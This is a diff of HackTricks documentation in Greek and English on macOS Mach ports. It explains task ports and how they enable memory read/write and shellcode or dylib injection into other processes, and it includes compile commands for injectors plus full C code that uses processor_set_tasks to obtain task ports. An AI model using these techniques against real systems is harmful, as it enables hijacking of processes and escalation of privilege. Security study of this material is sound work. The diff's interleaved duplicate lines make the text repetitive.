Αυτές είναι οι θύρες που είναι επιφυλαγμένες για γνωστές υπηρεσίες. Είναι δυνατόν να τις ανακτήσετε/ορίσετε καλώντας τις `task_[get/set]_special_port`. Μπορούν να βρεθούν στο αρχείο `task_special_ports.h`:
|
||||
```c
|
||||
typedef int task_special_port_t;
|
||||
|
||||
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
|
||||
world.*/
|
||||
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
|
||||
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
Από [εδώ](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html):
|
||||
|
||||
* **TASK\_KERNEL\_PORT**\[δικαίωμα αποστολής task-self]: Η θύρα που χρησιμοποιείται για τον έλεγχο αυτού του task. Χρησιμοποιείται για την αποστολή μηνυμάτων που επηρεάζουν το task. Αυτή είναι η θύρα που επιστρέφεται από το **mach\_task\_self (δείτε Task Ports παρακάτω)**.
|
||||
* **TASK\_BOOTSTRAP\_PORT**\[δικαίωμα αποστολής bootstrap]: Η bootstrap θύρα του task. Χρησιμοποιείται για την αποστολή μηνυμάτων που ζητούν την επιστροφή άλλων θυρών υπηρεσιών του συστήματος.
|
||||
* **TASK\_HOST\_NAME\_PORT**\[δικαίωμα αποστολής host-self]: Η θύρα που χρησιμοποιείται για την αίτηση πληροφοριών του φιλοξενούντος κόμβου. Αυτή είναι η θύρα που επιστρέφεται από το **mach\_host\_self**.
|
||||
* **TASK\_WIRED\_LEDGER\_PORT**\[δικαίωμα αποστολής ledger]: Η θύρα που ονομάζει την πηγή από την οποία το task αντλεί την συνδεδεμένη μνήμη πυρήνα.
|
||||
* **TASK\_PAGED\_LEDGER\_PORT**\[δικαίωμα αποστολής ledger]: Η θύρα που ονομάζει την πηγή από την οποία το task αντλεί την προεπιλεγμένη μνήμη που διαχειρίζεται.
|
||||
|
||||
### Task Ports
|
||||
|
||||
Αρχικά, το Mach δεν είχε "διεργασίες", είχε "εργασίες" που θεωρούνταν περισσότερο σαν ένας δοχείο νημάτων. Όταν το Mach συγχωνεύτηκε με το BSD, **κάθε εργασία συσχετίστηκε με μια διεργασία BSD**. Συνεπώς, κάθε διεργασία BSD έχει τις λεπτομέρειες που χρειάζεται για να είναι μια διεργασία και κάθε εργασία Mach έχει επίσης τη δική της λειτουργικότητα (εκτός από το μη υπαρκτό pid 0 που είναι το `kernel_task`).
|
||||
Αρχικά, το Mach δεν είχε "διεργασίες", είχε "tasks" που θεωρούνταν περισσότερο σαν ένας δοχείο νημάτων. Όταν το Mach συγχωνεύτηκε με το BSD, **κάθε task συσχετίστηκε με μια διεργασία BSD**. Συνεπώς, κάθε διεργασία BSD έχει τις λεπτομέρειες που χρειάζεται για να είναι μια διεργασία και κάθε task Mach έχει επίσης την εσωτερική λειτουργία της (εκτός από το μη υπαρκτό pid 0 που είναι το `kernel_task`).
|
||||
|
||||
Υπάρχουν δύο πολύ ενδιαφέρουσες συναρτήσεις σχετικές με αυτό:
|
||||
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Λάβετε ένα SEND δικαίωμα για τη θύρα εργασίας της εργασίας που σχετίζεται με το συγκεκριμένο από το `pid` και δώστε το στην καθορισμένη `target_task_port` (που συνήθως είναι η κλήση εργασίας που χρησιμοποίησε το `mach_task_self()`, αλλά θα μπορούσε να είναι μια θύρα SEND σε μια διαφορετική εργασία.)
|
||||
* `pid_for_task(task, &pid)`: Δεδομένου ενός SEND δικαιώματος σε μια εργασία, βρείτε σε ποιο PID σχετίζεται αυτή η εργασία.
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Λάβετε ένα SEND δικαίωμα για τη θύρα του task που σχετίζεται με το καθορισμένο από το `pid` και δώστε το στην καθορισμένη `target_task_port` (που συνήθως είναι το task καλούντος που χρησιμοποίησε το `mach_task_self()`, αλλά θα μπορούσε να είναι μια SEND θύρα σε διαφορετικό task.)
|
||||
* `pid_for_task(task, &pid)`: Δεδομένου ενός SEND δικαιώματος σε ένα task, βρείτε σε ποιο PID σχετίζεται αυτό το task.
|
||||
|
||||
Για να εκτελέσετε ενέργειες μέσα στην εργασία, η εργασία χρειαζόταν ένα δικαίωμα `SEND` στον εαυτό της καλώντας το `mach_task_self()` (που χρησιμοποιεί το `task_self_trap` (28)). Με αυτή την άδεια, μια εργασία μπορεί να εκτελέσει διάφορες ενέργειες όπως:
|
||||
Για να εκτελέσετε ενέργειες εντός του task, το task χρειαζόταν ένα δικαίωμα `SEND` στον εαυτό του καλώντας το `mach_task_self()` (που χρησιμοποιεί το `task_self_trap` (28)). Με αυτή την άδεια, ένα task μπορεί να εκτελέσει διάφορες ενέργειες όπως:
|
||||
|
||||
* `task_threads`: Λάβετε SEND δικαίωμα πάνω από όλες τις θύρες εργασίας των νημάτων της εργασίας
|
||||
* `task_info`: Λάβετε πληροφορίες σχετικά με μια εργασία
|
||||
* `task_suspend/resume`: Αναστολή ή επανέναρξη μιας εργασίας
|
||||
* `task_threads`: Λάβετε SEND δικαίωμα πάνω από όλες τις θύρες task των νημάτων του task
|
||||
* `task_info`: Λάβετε πληροφορίες για ένα task
|
||||
* `task_suspend/resume`: Αναστείλετε ή συνεχίσετε ένα task
|
||||
* `task_[get/set]_special_port`
|
||||
* `thread_create`: Δημιουργία ενός νήματος
|
||||
* `task_[get/set]_state`: Έλεγχος κατάστασης εργασίας
|
||||
* `thread_create`: Δημιουργήστε ένα νήμα
|
||||
* `task_[get/set]_state`: Ελέγξτε την κατάσταση του task
|
||||
* και περισσότερα μπορούν να βρεθούν στο [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Σημειώστε ότι με ένα SEND δικαίωμα πάνω σε μια θύρα εργασίας μιας **διαφορετικής εργασίας**, είναι δυνατόν να εκτελεστούν τέτοιες ενέργειες σε μια διαφορετική εργασία.
|
||||
Σημειώστε ότι με ένα SEND δικαίωμα πάνω σε μια θύρα task ενός **διαφορετικού task**, είναι δυνατόν να εκτελεστούν τέτοιες ενέργειες σε ένα διαφορετικό task.
|
||||
{% endhint %}
|
||||
|
||||
Επιπλέον, η θύρα εργασίας είναι επίσης η **θύρα `vm_map`** που επιτρέπει το **διάβασμα και την τροποποίηση μνήμης** μέσα σε μια εργασία με συναρτήσεις όπως `vm_read()` και `vm_write()`. Αυτό σημαίνει βασικά ότι μια εργασία με δικαιώματα SEND πάνω στη θύρα εργασίας μιας διαφορετικής εργασίας θα μπορεί να **ενθάρρυνει κώδικα σε αυτή την εργασία**.
|
||||
Επιπλέον, η task\_port είναι επίσης η **θύρα `vm_map`** που επιτρέπει τη **διάβαση και την τροποποίηση μνήμης** μέσα σε ένα task με συναρτήσεις όπως `vm_read()` και `vm_write()`. Αυτό σημαίνει βασικά ότι ένα task με δικαιώματα SEND πάνω στην task\_port ενός διαφορετικού task θα μπορεί να **ενθάρρυνει κώδικα σε αυτό το task**.
|
||||
|
||||
Θυμηθείτε ότι επειδή το **πυρήνας είναι επίσης μια εργασία**, αν κάποιος καταφέρει να λάβει δικαιώματα **SEND πάνω στο `kernel_task`**, θα μπορεί να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks).
|
||||
Θυμηθείτε ότι επειδή το **kernel είναι επίσης ένα task**, αν κάποιος καταφέρει να λάβει **δικαιώματα SEND** πάνω στο **`kernel_task`**, θα μπορεί να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks).
|
||||
|
||||
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** γι' αυτή τη θύρα για την κλήση εργασίας. Αυτή η θύρα κληρονομείται μόνο κατά την **`exec()`**· μια νέα εργασία που δημιουργείται με το `fork()` λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα suid δυαδικό). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά το `fork()`.
|
||||
* Αυτές είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
|
||||
* Αν η εφαρμογή έχει το **δικαίωμα com.apple.security.get-task-allow**, διεργασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **επικύρωσης** δεν το επιτρέπει σε παραγωγικές εκδόσεις.
|
||||
* Οι εφαρμογές με το **δικαίωμα com.apple.system-task-ports** μπορούν να λάβουν τη **θύρα εργασίας για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
|
||||
* **Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
|
||||
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** γι' αυτή τη θύρα για το task του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά το **`exec()`**· ένα νέο task που δημιουργείται με `fork()` λαμβάνει μια νέα θύρα task (ως ειδική περίπτωση, ένα task λαμβάνει επίσης μια νέα θύρα task μετά το `exec()` σε ένα suid δυαδικό). Ο μόνος τρόπος να δημιουργηθεί ένα task και να ληφθεί η θύρα του είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά τη διάρκεια ενός `fork()`.
|
||||
* Αυτές είναι οι περιορισμοί για την πρόσβαση στη θύρα (από `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
|
||||
* Αν η εφαρμογή έχει το **δικαίωμα `com.apple.security.get-task-allow`**, οι διεργασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα του task** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **επικύρωσης** δεν θα το επιτρέψει σε παραγωγικές κυκλοφορίες.
|
||||
* Οι εφαρμογές με το **δικαίωμα `com.apple.system-task-ports`** μπορούν να λάβουν τη **θύρα task για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό δίνεται μόνο σε εφαρμογές της Apple.
|
||||
* **Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες task** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
|
||||
|
||||
**Η θύρα ονόματος εργασίας:** Μια μη προνομιούχα έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχό της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
|
||||
**Η θύρα ονόματος task:** Μια μη προνομιούχα έκδοση της _θύρας task_. Αναφέρεται στο task, αλλά δεν επιτρέπει τον έλεγχό του. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
|
||||
|
||||
### Εισαγωγή Shellcode σε νήμα μέσω της θύρας εργασίας
|
||||
### Thread Ports
|
||||
|
||||
Τα νήματα έχουν επίσης συσχετισμένες θύρες, οι οποίες είναι ορατές από το task που καλεί το **`task_threads`** και από τον επεξεργαστή με το `processor_set_threads`. Ένα SEND δικαίωμα στη θύρα του νήματος επιτρέπει τη χρήση της λειτουργίας από το υποσύστημα `thread_act`, όπως:
|
||||
|
||||
* `thread_terminate`
|
||||
* `thread_[get/set]_state`
|
||||
* `act_[get/set]_state`
|
||||
* `thread_[suspend/resume]`
|
||||
* `thread_info`
|
||||
* ...
|
||||
|
||||
Κάθε νήμα μπορεί να λάβει αυτή τη θύρα καλώντας το **`mach_thread_sef`**.
|
||||
|
||||
### Εισαγωγή Shellcode σε νήμα μέσω της θύρας Task
|
||||
|
||||
Μπορείτε να αντλήσετε ένα shellcode από:
|
||||
|
||||
|
@ -501,11 +518,9 @@ return 0;
|
|||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
## macOS Δικαιώματα
|
||||
## Αρχείο entitlements.plist
|
||||
|
||||
Τα δικαιώματα είναι μια λίστα με προνομιακές ενέργειες που μπορεί να εκτελέσει μια εφαρμογή. Τα δικαιώματα ορίζονται στο αρχείο `entitlements.plist` που συνοδεύει μια εφαρμογή macOS. Με τη σωστή ρύθμιση των δικαιωμάτων, μπορεί να περιοριστεί η πρόσβαση μιας εφαρμογής σε ευαίσθητα μέρη του συστήματος.
|
||||
|
||||
Είναι σημαντικό να γίνει σωστή διαχείριση των δικαιωμάτων προκειμένου να διασφαλιστεί η ασφάλεια του συστήματος και να αποτραπεί η κατάχρησή τους από κακόβουλο λογισμικό.
|
||||
Το αρχείο `entitlements.plist` περιέχει τις εξουσιοδοτήσεις που απαιτούνται από μια εφαρμογή για να εκτελέσει συγκεκριμένες λειτουργίες στο macOS. Αυτές οι εξουσιοδοτήσεις μπορούν να επιτρέψουν πρόσβαση σε ευαίσθητα δεδομένα ή λειτουργίες του συστήματος. Είναι σημαντικό να ελέγχετε το περιεχόμενο αυτού του αρχείου για να διασφαλίσετε ότι η εφαρμογή λειτουργεί με τον αναμενόμενο τρόπο και δεν έχει υπερβολικές εξουσιοδοτήσεις.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -726,9 +741,9 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
### Επικίνδυνη Χρήση Διεργασιών macOS
|
||||
### Επικοινωνία μεταξύ Διεργασιών (IPC) στο macOS
|
||||
|
||||
Αυτό το κεφάλαιο εξετάζει την εκμετάλλευση της επικοινωνίας μεταξύ διεργασιών (IPC) στο macOS για την απόκτηση προνομίων.
|
||||
Στο macOS, η επικοινωνία μεταξύ διεργασιών μπορεί να χρησιμοποιηθεί για πολλούς σκοπούς, αλλά μπορεί επίσης να αξιοποιηθεί από επιτιθέμενους για προνόμια και εκτέλεση κώδικα. Είναι σημαντικό να γίνει σωστή ρύθμιση και περιορισμός της IPC στο macOS προκειμένου να αποτραπούν πιθανές επιθέσεις.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
|
@ -741,7 +756,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
|
||||
Στο macOS τα **νήματα** μπορούν να χειριστούν μέσω του **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήθηκε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμμορφωμένο με το posix**.
|
||||
|
||||
Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με posix** συμμορφωμένα apis, μόνο με το Mach. **Πιο πολύπλοκες εισαγωγές** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
|
||||
Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα με το posix** api, μόνο με το Mach. **Πιο πολύπλοκες εισαγωγές** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
|
||||
|
||||
Συνεπώς, για να **βελτιώσετε το νήμα** θα πρέπει να καλέσει το **`pthread_create_from_mach_thread`** το οποίο θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να καλέσει το dlopen για να φορτώσει ένα dylib από το σύστημα, έτσι αντί να γράφετε νέο shellcode για να εκτελέσει διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
|
||||
|
||||
|
@ -1038,31 +1053,173 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ανίχνευση Έγχυσης Θύρας Task Port
|
||||
|
||||
Όταν καλείται το `task_for_pid` ή το `thread_create_*` αυξάνει ένα μετρητή στη δομή task από τον πυρήνα που μπορεί να προσπελαστεί από τη λειτουργία χρήστη καλώντας task\_info(task, TASK\_EXTMOD\_INFO, ...)
|
||||
|
||||
## Θύρες Εξαιρέσεων
|
||||
|
||||
Όταν συμβεί μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση στέλνεται στην καθορισμένη θύρα εξαίρεσης του νήματος. Εάν το νήμα δεν τη χειρίζεται, τότε στέλνεται στις θύρες εξαιρέσεων της εργασίας. Εάν η εργασία δεν τη χειρίζεται, τότε στέλνεται στη θύρα του κεντρικού υπολογιστή που διαχειρίζεται από το launchd (όπου θα γίνει αναγνώριση). Αυτό ονομάζεται ταξινόμηση εξαιρέσεων.
|
||||
|
||||
Σημειώστε ότι στο τέλος συνήθως αν δεν χειριστεί σωστά την αναφορά, θα τη χειριστεί το ReportCrash daemon. Ωστόσο, είναι δυνατόν για ένα άλλο νήμα στην ίδια εργασία να διαχειριστεί την εξαίρεση, αυτό είναι αυτό που κάνουν εργαλεία αναφοράς κρασαρίσματος όπως το `PLCrashReporter`.
|
||||
|
||||
## Άλλα Αντικείμενα
|
||||
|
||||
### Ρολόι
|
||||
|
||||
Οποιοσδήποτε χρήστης μπορεί να έχει πρόσβαση σε πληροφορίες σχετικά με το ρολόι, ωστόσο για να ρυθμίσει την ώρα ή να τροποποιήσει άλλες ρυθμίσεις πρέπει να είναι ριζοχρήστης.
|
||||
|
||||
Για να λάβετε πληροφορίες είναι δυνατόν να καλέσετε συναρτήσεις από το υποσύστημα `clock` όπως: `clock_get_time`, `clock_get_attributtes` ή `clock_alarm`\
|
||||
Για να τροποποιήσετε τιμές το υποσύστημα `clock_priv` μπορεί να χρησιμοποιηθεί με συναρτήσεις όπως `clock_set_time` και `clock_set_attributes`
|
||||
|
||||
### Επεξεργαστές και Σύνολο Επεξεργαστών
|
||||
|
||||
Οι διεπαφές του επεξεργαστή επιτρέπουν τον έλεγχο ενός μοναδικού λογικού επεξεργαστή καλώντας συναρτήσεις όπως `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
|
||||
|
||||
Επιπλέον, οι διεπαφές του **συνόλου επεξεργαστών** παρέχουν έναν τρόπο για να ομαδοποιήσουν πολλούς επεξεργαστές σε μια ομάδα. Είναι δυνατόν να ανακτηθεί το προεπιλεγμένο σύνολο επεξεργαστών καλώντας **`processor_set_default`**.\
|
||||
Αυτές είναι μερικές ενδιαφέρουσες διεπαφές για αλληλεπίδραση με το σύνολο επεξεργαστών:
|
||||
|
||||
* `processor_set_statistics`
|
||||
* `processor_set_tasks`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλες τις εργασίες μέσα στο σύνολο επεξεργαστών
|
||||
* `processor_set_threads`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλα τα νήματα μέσα στο σύνολο επεξεργαστών
|
||||
* `processor_set_stack_usage`
|
||||
* `processor_set_info`
|
||||
|
||||
Όπως αναφέρεται σε [**αυτήν την ανάρτηση**](https://reverse.put.as/2014/05/05/about-the-processor\_set\_tasks-access-to-kernel-memory-vulnerability/), στο παρελθόν αυτό επέτρεπε την παράκαμψη της προηγούμενης προστασίας για τη λήψη θυρών εργασίας σε άλλες διεργασίες για να τις ελέγξετε καλώντας **`processor_set_tasks`** και λαμβάνοντας μια θύρα κεντρικού υπολογιστή σε κάθε διεργασία.\
|
||||
Σήμερα χρειάζεστε ριζοδικαιώματα για να χρησιμοποιήσετε αυτήν τη λειτουργία και αυτό προστατεύεται έτσι ώστε να μπορείτε να λάβετε αυτές τις θύρες σε μη προστατευμένες διεργασίες.
|
||||
|
||||
Μπορείτε να το δοκιμάσετε με:
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Κώδικας processor_set_tasks</strong></summary>
|
||||
````c
|
||||
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
|
||||
//gcc ./port_pid.c -o port_pid
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <libproc.h>
|
||||
#include <mach/mach.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <mach/exception_types.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/host_priv.h>
|
||||
#include <mach/processor_set.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_info.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/thread_act.h>
|
||||
#include <mach/thread_info.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <sys/ptrace.h>
|
||||
|
||||
mach_port_t task_for_pid_workaround(int Pid)
|
||||
{
|
||||
|
||||
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
|
||||
mach_port_t psDefault;
|
||||
mach_port_t psDefault_control;
|
||||
|
||||
task_array_t tasks;
|
||||
mach_msg_type_number_t numTasks;
|
||||
int i;
|
||||
|
||||
thread_array_t threads;
|
||||
thread_info_data_t tInfo;
|
||||
|
||||
kern_return_t kr;
|
||||
|
||||
kr = processor_set_default(myhost, &psDefault);
|
||||
|
||||
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
|
||||
mach_error("host_processor_set_priv",kr); exit(1);}
|
||||
|
||||
printf("So far so good\n");
|
||||
|
||||
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
|
||||
|
||||
for (i = 0; i < numTasks; i++)
|
||||
{
|
||||
int pid;
|
||||
pid_for_task(tasks[i], &pid);
|
||||
printf("TASK %d PID :%d\n", i,pid);
|
||||
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
|
||||
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
|
||||
printf("Command line: %s\n", pathbuf);
|
||||
} else {
|
||||
printf("proc_pidpath failed: %s\n", strerror(errno));
|
||||
}
|
||||
if (pid == Pid){
|
||||
printf("Found\n");
|
||||
return (tasks[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return (MACH_PORT_NULL);
|
||||
} // end workaround
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
if (pid <= 0) {
|
||||
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
|
||||
return 1;
|
||||
}*/
|
||||
|
||||
int pid = 1;
|
||||
|
||||
task_for_pid_workaround(pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
## XPC
|
||||
|
||||
### Βασικές Πληροφορίες
|
||||
### Basic Information
|
||||
|
||||
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και στο iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας την **δημιουργία εφαρμογών με διαχωρισμό προνομίων** όπου κάθε **συστατικό** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διεργασία που έχει διαρρεύσει.
|
||||
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς **μπορεί να είναι ευάλωτη** ελέγξτε:
|
||||
For more information about how this **communication work** on how it **could be vulnerable** check:
|
||||
|
||||
{% content-ref url="macos-xpc/" %}
|
||||
[macos-xpc](macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Μετατροπέας Διεπαφής Mach
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
Ο MIG δημιουργήθηκε για να **απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC**. Αυτό συμβαίνει επειδή πολλή από τη δουλειά για τον προγραμματισμό RPC περιλαμβάνει τις ίδιες ενέργειες (συσκευασία ορισμάτων, αποστολή του μηνύματος, αποσυσκευασία των δεδομένων στον εξυπηρετητή...).
|
||||
MIG was created to **simplify the process of Mach IPC** code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
|
||||
|
||||
Ο MIG βασικά **δημιουργεί τον απαιτούμενο κώδικα** για τον εξυπηρετητή και τον πελάτη ώστε να επικοινωνούν με μια δεδομένη ορισμένη (στη γλώσσα IDL -Γλώσσα Ορισμού Διεπαφής-). Ακόμη κι αν ο δημιουργημένος κώδικας είναι ασχημός, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.
|
||||
MIC basically **generates the needed code** for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
For more info check:
|
||||
|
||||
{% content-ref url="macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](macos-mig-mach-interface-generator.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
|
@ -1070,3 +1227,18 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Android Applications Basics
|
||||
# Βασικά Εφαρμογών Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||
